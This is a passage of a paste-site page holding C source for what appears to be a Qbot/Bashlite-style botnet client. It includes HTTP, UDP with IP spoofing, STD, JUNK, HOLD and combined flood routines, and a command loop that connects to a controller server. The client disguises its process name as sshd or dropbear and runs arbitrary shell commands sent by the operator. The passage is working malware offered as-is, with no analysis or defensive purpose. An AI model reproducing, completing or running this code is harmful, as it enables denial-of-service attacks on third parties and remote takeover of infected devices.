  1757. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1758. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  1759. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  1760. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  1761. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  1762. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  1763. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  1764. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  1765. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  1766. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1767. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1768. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1769. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  1770. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  1771. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  1772. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  1773. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  1774. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  1775. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  1776. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  1777. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  1778. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  1779. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  1780. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  1781. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  1782. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  1783. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  1784. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  1785. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  1786. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  1787. };
  1788. const char *connections[] = {"close", "keep-alive", "accept"};
  1789. int i, timeEnd = time(NULL) + timeFoo;
  1790. char request[512];//!* HTTP URL GET PORT PATH TIME POWER
  1791. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 65)]);
  1792. for (i = 0; i < power; i++) {
  1793. if (fork()) {
  1794. while (timeEnd > time(NULL)) {
  1795. int socket = socket_connect((char *)host, port);
  1796. if (socket != 0) {
  1797. write(socket, request, strlen(request));
  1798. close(socket);
  1799. }
  1800. }
  1801. _exit(1);
  1802. }
  1803. }
  1804. }
  1805. void sendSTD(unsigned char *ip, int port, int secs) {
  1806. int iSTD_Sock;
  1807. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1808. time_t start = time(NULL);
  1809. struct sockaddr_in sin;
  1810. struct hostent *hp;
  1811. hp = gethostbyname(ip);
  1812. bzero((char*) &sin,sizeof(sin));
  1813. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1814. sin.sin_family = hp->h_addrtype;
  1815. sin.sin_port = port;
  1816. unsigned int a = 0;
  1817. while(1){
  1818. char *randstrings[] = {"BEDdsROLL", "BdsfEDSORE", "BEfdasETLED", "BEETfdsaLES", "BEHfdsESTS", "BEHdsOLDS", "BENDEdfsaRS", "DafdLETES", "DEBasdTORS", "DUSdfsaTERS", "ENSUdsafRED", "EYELfsadESS", "EYEdsfaLETS", "HOLdfsaSTER", "HUNTdsafRS", "LENDERdasfS", "HasdfOTBEDS", "LUSHESafsdT", "dfasar", "Cdsafat",
  1819. "Linfdsux", "Machdfsaines", "sdsfau", "suadsfper", "sdafuser", "2afsd6736", "18sdfh3b2", "kekdgf", "wrdfecked", "Uasfdnix", "Stfdasdrings", "Manipulasdfsadfation", "Coadfsafdsmmand", "Liadfsadfsne", "asdfsdfaOf", "kadfsfadsekz", "edasdfew", "aptasdfsdfa-get", "eadfsafdswdb", "asdfafsdubed"};
  1820.  
  1821.  
  1822.  
  1823. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1824. if (a >= 50)
  1825. {
  1826. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1827. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1828. if (time(NULL) >= start + secs)
  1829. {
  1830. close(iSTD_Sock);
  1831. _exit(0);
  1832. }
  1833. a = 0;
  1834. }
  1835. a++;
  1836. }
  1837. }
  1838. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1839. {
  1840. struct sockaddr_in dest_addr;
  1841. dest_addr.sin_family = AF_INET;
  1842. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1843. else dest_addr.sin_port = htons(port);
  1844. if(getHost(target, &dest_addr.sin_addr)) return;
  1845. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1846. register unsigned int pollRegister;
  1847. pollRegister = pollinterval;
  1848. if(spoofit == 32)
  1849. {
  1850. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1851. if(!sockfd)
  1852. {
  1853. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  1854. return;
  1855. }
  1856. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1857. if(buf == NULL) return;
  1858. memset(buf, 0, packetsize + 1);
  1859. makeRandomStr(buf, packetsize);
  1860. int end = time(NULL) + timeEnd;
  1861. register unsigned int i = 0;
  1862. while(1)
  1863. {
  1864. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1865. if(i == pollRegister)
  1866. {
  1867. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1868. if(time(NULL) > end) break;
  1869. i = 0;
  1870. continue;
  1871. }
  1872. i++;
  1873. }
  1874. } else {
  1875. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1876. if(!sockfd)
  1877. {
  1878. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  1879. return;
  1880. }
  1881. int tmp = 1;
  1882. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1883. {
  1884. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  1885. return;
  1886. }
  1887. int counter = 50;
  1888. while(counter--)
  1889. {
  1890. srand(time(NULL) ^ rand_cmwc());
  1891. init_rand(rand());
  1892. }
  1893. in_addr_t netmask;
  1894. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1895. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1896. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1897. struct iphdr *iph = (struct iphdr *)packet;
  1898. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1899. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1900. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1901. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1902. int end = time(NULL) + timeEnd;
  1903. register unsigned int i = 0;
  1904. while(1)
  1905. {
  1906. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1907. iph->id = rand_cmwc();
  1908. iph->saddr = htonl( HackerScan2(netmask) );
  1909. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1910. if(i == pollRegister)
  1911. {
  1912. if(time(NULL) > end) break;
  1913. i = 0;
  1914. continue;
  1915. }
  1916. i++;
  1917. }
  1918. }
  1919. }
  1920. void sendCNC(unsigned char *ip,int port, int end_time)
  1921. {
  1922. int end = time(NULL) + end_time;
  1923. int sockfd;
  1924. struct sockaddr_in server;
  1925. server.sin_addr.s_addr = inet_addr(ip);
  1926. server.sin_family = AF_INET;
  1927. server.sin_port = htons(port);
  1928. while(end > time(NULL))
  1929. {
  1930. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1931. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  1932. sleep(1);
  1933. close(sockfd);
  1934. }
  1935. }
  1936. void sendJUNK(unsigned char *ip, int port, int end_time)
  1937. {
  1938. int max = getdtablesize() / 2, i;
  1939. struct sockaddr_in dest_addr;
  1940. dest_addr.sin_family = AF_INET;
  1941. dest_addr.sin_port = htons(port);
  1942. if(getHost(ip, &dest_addr.sin_addr)) return;
  1943. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1944. struct state_t
  1945. {
  1946. int fd;
  1947. uint8_t state;
  1948. } fds[max];
  1949. memset(fds, 0, max * (sizeof(int) + 1));
  1950. fd_set myset;
  1951. struct timeval tv;
  1952. socklen_t lon;
  1953. int valopt, res;
  1954. unsigned char *watwat = malloc(1024);
  1955. memset(watwat, 0, 1024);
  1956. int end = time(NULL) + end_time;
  1957. while(end > time(NULL))
  1958. {
  1959. for(i = 0; i < max; i++)
  1960. {
  1961. switch(fds[i].state)
  1962. {
  1963. case 0:
  1964. {
  1965. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1966. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1967. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1968. else fds[i].state = 1;
  1969. }
  1970. break;
  1971. case 1:
  1972. {
  1973. FD_ZERO(&myset);
  1974. FD_SET(fds[i].fd, &myset);
  1975. tv.tv_sec = 0;
  1976. tv.tv_usec = 10000;
  1977. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1978. if(res == 1)
  1979. {
  1980. lon = sizeof(int);
  1981. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1982. if(valopt)
  1983. {
  1984. close(fds[i].fd);
  1985. fds[i].state = 0;
  1986. } else {
  1987. fds[i].state = 2;
  1988. }
  1989. } else if(res == -1)
  1990. {
  1991. close(fds[i].fd);
  1992. fds[i].state = 0;
  1993. }
  1994. }
  1995. break;
  1996. case 2:
  1997. {
  1998. makeRandomStr(watwat, 1024);
  1999. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2000. {
  2001. close(fds[i].fd);
  2002. fds[i].state = 0;
  2003. }
  2004. }
  2005. break;
  2006. }
  2007. }
  2008. }
  2009. }
  2010. void sendHOLD(unsigned char *ip, int port, int end_time)
  2011. {
  2012. int max = getdtablesize() / 2, i;
  2013. struct sockaddr_in dest_addr;
  2014. dest_addr.sin_family = AF_INET;
  2015. dest_addr.sin_port = htons(port);
  2016. if(getHost(ip, &dest_addr.sin_addr)) return;
  2017. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2018. struct state_t
  2019. {
  2020. int fd;
  2021. uint8_t state;
  2022. } fds[max];
  2023. memset(fds, 0, max * (sizeof(int) + 1));
  2024. fd_set myset;
  2025. struct timeval tv;
  2026. socklen_t lon;
  2027. int valopt, res;
  2028. unsigned char *watwat = malloc(1024);
  2029. memset(watwat, 0, 1024);
  2030. int end = time(NULL) + end_time;
  2031. while(end > time(NULL))
  2032. {
  2033. for(i = 0; i < max; i++)
  2034. {
  2035. switch(fds[i].state)
  2036. {
  2037. case 0:
  2038. {
  2039. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2040. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2041. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2042. else fds[i].state = 1;
  2043. }
  2044. break;
  2045. case 1:
  2046. {
  2047. FD_ZERO(&myset);
  2048. FD_SET(fds[i].fd, &myset);
  2049. tv.tv_sec = 0;
  2050. tv.tv_usec = 10000;
  2051. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2052. if(res == 1)
  2053. {
  2054. lon = sizeof(int);
  2055. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2056. if(valopt)
  2057. {
  2058. close(fds[i].fd);
  2059. fds[i].state = 0;
  2060. } else {
  2061. fds[i].state = 2;
  2062. }
  2063. } else if(res == -1)
  2064. {
  2065. close(fds[i].fd);
  2066. fds[i].state = 0;
  2067. }
  2068. }
  2069. break;
  2070. case 2:
  2071. {
  2072. FD_ZERO(&myset);
  2073. FD_SET(fds[i].fd, &myset);
  2074. tv.tv_sec = 0;
  2075. tv.tv_usec = 10000;
  2076. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2077. if(res != 0)
  2078. {
  2079. close(fds[i].fd);
  2080. fds[i].state = 0;
  2081. }
  2082. }
  2083. break;
  2084. }
  2085. }
  2086. }
  2087. }
  2088. void processCmd(int argc, unsigned char *argv[])
  2089. {
  2090. int x;
  2091. if(!strcmp(argv[0], "PING"))
  2092. {
  2093. HackerPrint(D1ckSucka, "PONG!");
  2094. return;
  2095. }
  2096. if(!strcmp(argv[0], "GETLOCALIP"))
  2097. {
  2098. HackerPrint(D1ckSucka, "My IP: %s", inet_ntoa(ourIP));
  2099. return;
  2100. }
  2101. if(!strcmp(argv[0], "SCANNER"))
  2102. {
  2103. if(argc != 2)
  2104. {
  2105. HackerPrint(D1ckSucka, "SCANNER ON | OFF");
  2106. return;
  2107. }
  2108. if(!strcmp(argv[1], "OFF"))
  2109. {
  2110. if(scanPid == 0) return;
  2111. kill(scanPid, 9);
  2112. HackerPrint(D1ckSucka, "Scanner Turned Off");
  2113. scanPid = 0;
  2114. }
  2115. if(!strcmp(argv[1], "ON"))
  2116. {
  2117. if(scanPid != 0) return;
  2118. uint32_t parent;
  2119. parent = fork();
  2120. if (parent > 0) { scanPid = parent; return;}
  2121. else if(parent == -1) return;
  2122. StartTheLelz();
  2123. _exit(0);
  2124. }
  2125. }
  2126.  
  2127. if(!strcmp(argv[0], "HOLD"))
  2128. {
  2129. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2130. {
  2131. return;
  2132. }
  2133. unsigned char *ip = argv[1];
  2134. int port = atoi(argv[2]);
  2135. int time = atoi(argv[3]);
  2136. if(strstr(ip, ",") != NULL)
  2137. {
  2138. unsigned char *hi = strtok(ip, ",");
  2139. while(hi != NULL)
  2140. {
  2141. if(!listFork())
  2142. {
  2143. sendHOLD(hi, port, time);
  2144. _exit(0);
  2145. }
  2146. hi = strtok(NULL, ",");
  2147. }
  2148. } else {
  2149. if (listFork()) { return; }
  2150. sendHOLD(ip, port, time);
  2151. _exit(0);
  2152. }
  2153. }
  2154. if(!strcmp(argv[0], "JUNK"))
  2155. {
  2156. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2157. {
  2158. return;
  2159. }
  2160. unsigned char *ip = argv[1];
  2161. int port = atoi(argv[2]);
  2162. int time = atoi(argv[3]);
  2163. if(strstr(ip, ",") != NULL)
  2164. {
  2165. unsigned char *hi = strtok(ip, ",");
  2166. while(hi != NULL)
  2167. {
  2168. if(!listFork())
  2169. {
  2170. sendJUNK(hi, port, time);
  2171. close(D1ckSucka);
  2172. _exit(0);
  2173. }
  2174. hi = strtok(NULL, ",");
  2175. }
  2176. } else {
  2177. if (listFork()) { return; }
  2178. sendJUNK(ip, port, time);
  2179. _exit(0);
  2180. }
  2181. }
  2182. if(!strcmp(argv[0], "UDP"))
  2183. {
  2184. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2185. {
  2186. return;
  2187. }
  2188. unsigned char *ip = argv[1];
  2189. int port = atoi(argv[2]);
  2190. int time = atoi(argv[3]);
  2191. int spoofed = atoi(argv[4]);
  2192. int packetsize = atoi(argv[5]);
  2193. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2194. if(strstr(ip, ",") != NULL)
  2195. {
  2196. unsigned char *hi = strtok(ip, ",");
  2197. while(hi != NULL)
  2198. {
  2199. if(!listFork())
  2200. {
  2201. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2202. _exit(0);
  2203. }
  2204. hi = strtok(NULL, ",");
  2205. }
  2206. } else {
  2207. if (listFork()) { return; }
  2208. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2209. _exit(0);
  2210. }
  2211. }
  2212. if (!strcmp((const char *)argv[0], "HTTP")) {
  2213. if (argc < 6)
  2214. {
  2215. return;
  2216. }
  2217. if (strstr((const char *)argv[1], ",") != NULL) {
  2218. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2219. while (hi != NULL) {
  2220. if (!listFork()) {
  2221. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2222. _exit(0);
  2223. }
  2224. hi = (unsigned char *)strtok(NULL, ",");
  2225. }
  2226. } else {
  2227. if (listFork()) {
  2228. return;
  2229. }
  2230. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2231. _exit(0);
  2232. }
  2233. }
  2234. if(!strcmp(argv[0], "CNC"))
  2235. {
  2236. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2237. {
  2238. return;
  2239. }
  2240. unsigned char *ip = argv[1];
  2241. int port = atoi(argv[2]);
  2242. int time = atoi(argv[3]);
  2243. if(strstr(ip, ",") != NULL)
  2244. {
  2245. unsigned char *hi = strtok(ip, ",");
  2246. while(hi != NULL)
  2247. {
  2248. if(!listFork())
  2249. {
  2250. sendCNC(hi, port, time);
  2251. close(D1ckSucka);
  2252. _exit(0);
  2253. }
  2254. hi = strtok(NULL, ",");
  2255. }
  2256. } else {
  2257. if (listFork()) { return; }
  2258. sendCNC(ip, port, time);
  2259. _exit(0);
  2260. }
  2261. }
  2262. if(!strcmp(argv[0], "COMBO"))
  2263. {
  2264. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2265. {
  2266. return;
  2267. }
  2268. unsigned char *ip = argv[1];
  2269. int port = atoi(argv[2]);
  2270. int time = atoi(argv[3]);
  2271. if(strstr(ip, ",") != NULL)
  2272. {
  2273. unsigned char *hi = strtok(ip, ",");
  2274. while(hi != NULL)
  2275. {
  2276. if(!listFork())
  2277. {
  2278. sendJUNK(hi, port, time);
  2279. sendSTD(hi, port, time);
  2280. sendHOLD(hi, port, time);
  2281. close(D1ckSucka);
  2282. _exit(0);
  2283. }
  2284. hi = strtok(NULL, ",");
  2285. }
  2286. } else {
  2287. if (listFork()) { return; }
  2288. sendJUNK(ip, port, time);
  2289. sendSTD(ip, port, time);
  2290. sendHOLD(ip, port, time);
  2291. _exit(0);
  2292. }
  2293. }
  2294. if(!strcmp(argv[0], "STD"))
  2295. {
  2296. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2297. {
  2298. return;
  2299. }
  2300. unsigned char *ip = argv[1];
  2301. int port = atoi(argv[2]);
  2302. int time = atoi(argv[3]);
  2303. if(strstr(ip, ",") != NULL)
  2304. {
  2305. unsigned char *hi = strtok(ip, ",");
  2306. while(hi != NULL)
  2307. {
  2308. if(!listFork())
  2309. {
  2310. sendSTD(hi, port, time);
  2311. _exit(0);
  2312. }
  2313. hi = strtok(NULL, ",");
  2314. }
  2315. } else {
  2316. if (listFork()) { return; }
  2317. sendSTD(ip, port, time);
  2318. _exit(0);
  2319. }
  2320. }
  2321.  
  2322. if(!strcmp(argv[0], "STOP"))
  2323. {
  2324. int killed = 0;
  2325. unsigned long i;
  2326. for (i = 0; i < numpids; i++) {
  2327. if (pids[i] != 0 && pids[i] != getpid()) {
  2328. kill(pids[i], 9);
  2329. killed++;
  2330. }
  2331. }
  2332. }
  2333. if(!strcmp(argv[0], "RMBUSY"))
  2334. {
  2335. exit(0);
  2336. }
  2337. }
  2338. int initConnection()
  2339. {
  2340. unsigned char server[4096];
  2341. memset(server, 0, 4096);
  2342. if(D1ckSucka) { close(D1ckSucka); D1ckSucka = 0; }
  2343. if(D1ckSuckaz + 1 == SERVER_LIST_SIZE) D1ckSuckaz = 0;
  2344. else D1ckSuckaz++;
  2345. strcpy(server, hekkertelnet[D1ckSuckaz]);
  2346. int port = Server_Botport;
  2347. if(strchr(server, ':') != NULL)
  2348. {
  2349. port = atoi(strchr(server, ':') + 1);
  2350. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2351. }
  2352. D1ckSucka = socket(AF_INET, SOCK_STREAM, 0);
  2353. if(!connectTimeout(D1ckSucka, server, port, 30)) return 1;
  2354. return 0;
  2355. }
  2356. int getOurIP()
  2357. {
  2358. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2359. if(sock == -1) return 0;
  2360. struct sockaddr_in serv;
  2361. memset(&serv, 0, sizeof(serv));
  2362. serv.sin_family = AF_INET;
  2363. serv.sin_addr.s_addr = inet_addr("0.0.0.0");
  2364. serv.sin_port = htons(53);
  2365. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2366. if(err == -1) return 0;
  2367. struct sockaddr_in name;
  2368. socklen_t namelen = sizeof(name);
  2369. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2370. if(err == -1) return 0;
  2371. ourIP.s_addr = name.sin_addr.s_addr;
  2372. int cmdline = open("/proc/net/route", O_RDONLY);
  2373. char linebuf[4096];
  2374. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2375. {
  2376. if(strstr(linebuf, "\t00000000\t") != NULL)
  2377. {
  2378. unsigned char *pos = linebuf;
  2379. while(*pos != '\t') pos++;
  2380. *pos = 0;
  2381. break;
  2382. }
  2383. memset(linebuf, 0, 4096);
  2384. }
  2385. close(cmdline);
  2386. if(*linebuf)
  2387. {
  2388. int i;
  2389. struct ifreq ifr;
  2390. strcpy(ifr.ifr_name, linebuf);
  2391. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2392. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2393. }
  2394. close(sock);
  2395. }
  2396. char *getBuild()
  2397. {
  2398. if(access("/usr/bins/python", F_OK) != -1){
  2399. return "SERVER";
  2400. } else {
  2401. return "ROUTER";
  2402. }
  2403. }
  2404. int main(int argc, unsigned char *argv[])
  2405. {
  2406. char *mynameis = "";
  2407. if(access("/usr/bins/python", F_OK) != -1){
  2408. mynameis = "sshd";
  2409. } else {
  2410. mynameis = "/usr/sbins/dropbear";
  2411. }
  2412. if(geteuid() == 0){
  2413. userID = 0;
  2414. }
  2415. char *Buildz = getBuild();
  2416. if(Buildz == "SERVER")
  2417. {
  2418. //If python is installed
  2419. } else {
  2420. //If python is not installed
  2421. }
  2422. if(SERVER_LIST_SIZE <= 0) return 0;
  2423. printf("BUILD %s:%s\n", getBuild(), inet_ntoa(ourIP));
  2424. strncpy(argv[0],"",strlen(argv[0]));
  2425. sprintf(argv[0], mynameis);
  2426. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2427. srand(time(NULL) ^ getpid());
  2428. init_rand(time(NULL) ^ getpid());
  2429. pid_t pid1;
  2430. pid_t pid2;
  2431. int status;
  2432. getOurIP();
  2433. if (pid1 = fork()) {
  2434. waitpid(pid1, &status, 0);
  2435. exit(0);
  2436. } else if (!pid1) {
  2437. if (pid2 = fork()) {
  2438. exit(0);
  2439. } else if (!pid2) {
  2440. } else {
  2441. //N
  2442. }
  2443. } else {
  2444. //N
  2445. }
  2446. setsid();
  2447. chdir("/");
  2448. signal(SIGPIPE, SIG_IGN);
  2449. while(1)
  2450. {
  2451. if(initConnection()) { sleep(5); continue; }
  2452. HackerPrint(D1ckSucka, "\x1b[0;32mConnected | IP: %s | Type: %s | Version: %s", inet_ntoa(ourIP), getBuild(), VERSION);
  2453. char commBuf[4096];
  2454. int got = 0;
  2455. int i = 0;
  2456. while((got = recvLine(D1ckSucka, commBuf, 4096)) != -1)
  2457. {
  2458. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2459. unsigned int *newpids, on;
  2460. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2461. pids[on - 1] = 0;
  2462. numpids--;
  2463. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2464. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2465. free(pids);
  2466. pids = newpids;
  2467. }
  2468. commBuf[got] = 0x00;
  2469. trim(commBuf);
  2470. if(strstr(commBuf, "PING") == commBuf)
  2471. {
  2472. HackerPrint(D1ckSucka, "PONG");
  2473. continue;
  2474. }
  2475. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2476. unsigned char *message = commBuf;
  2477. if(*message == '!')
  2478. {
  2479. unsigned char *nickMask = message + 1;
  2480. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2481. if(*nickMask == 0x00) continue;
  2482. *(nickMask) = 0x00;
  2483. nickMask = message + 1;
  2484. message = message + strlen(nickMask) + 2;
  2485. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2486. unsigned char *command = message;
  2487. while(*message != ' ' && *message != 0x00) message++;
  2488. *message = 0x00;
  2489. message++;
  2490. unsigned char *tmpcommand = command;
  2491. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2492. if(strcmp(command, "MOVE") == 0)
  2493. {
  2494. unsigned char buf[1024];
  2495. int command;
  2496. if (listFork()) continue;
  2497. memset(buf, 0, 1024);
  2498. szprintf(buf, "%s 2>&1", message);
  2499. command = fdpopen(buf, "r");
  2500. while(fdgets(buf, 1024, command) != NULL)
  2501. {
  2502. trim(buf);
  2503. memset(buf, 0, 1024);
  2504. sleep(1);
  2505. }
  2506. fdpclose(command);
  2507. exit(0);
  2508. }
  2509. unsigned char *params[10];
  2510. int paramsCount = 1;
  2511. unsigned char *pch = strtok(message, " ");
  2512. params[0] = command;
  2513. while(pch)
  2514. {
  2515. if(*pch != '\n')
  2516. {
  2517. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2518. memset(params[paramsCount], 0, strlen(pch) + 1);
  2519. strcpy(params[paramsCount], pch);
  2520. paramsCount++;
  2521. }
  2522. pch = strtok(NULL, " ");
  2523. }
  2524. processCmd(paramsCount, params);
  2525. if(paramsCount > 1)
  2526. {
  2527. int q = 1;
  2528. for(q = 1; q < paramsCount; q++)
  2529. {
  2530. free(params[q]);
  2531. }
  2532. }
  2533. }
  2534. }
  2535. }
  2536. return 0;
  2537. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement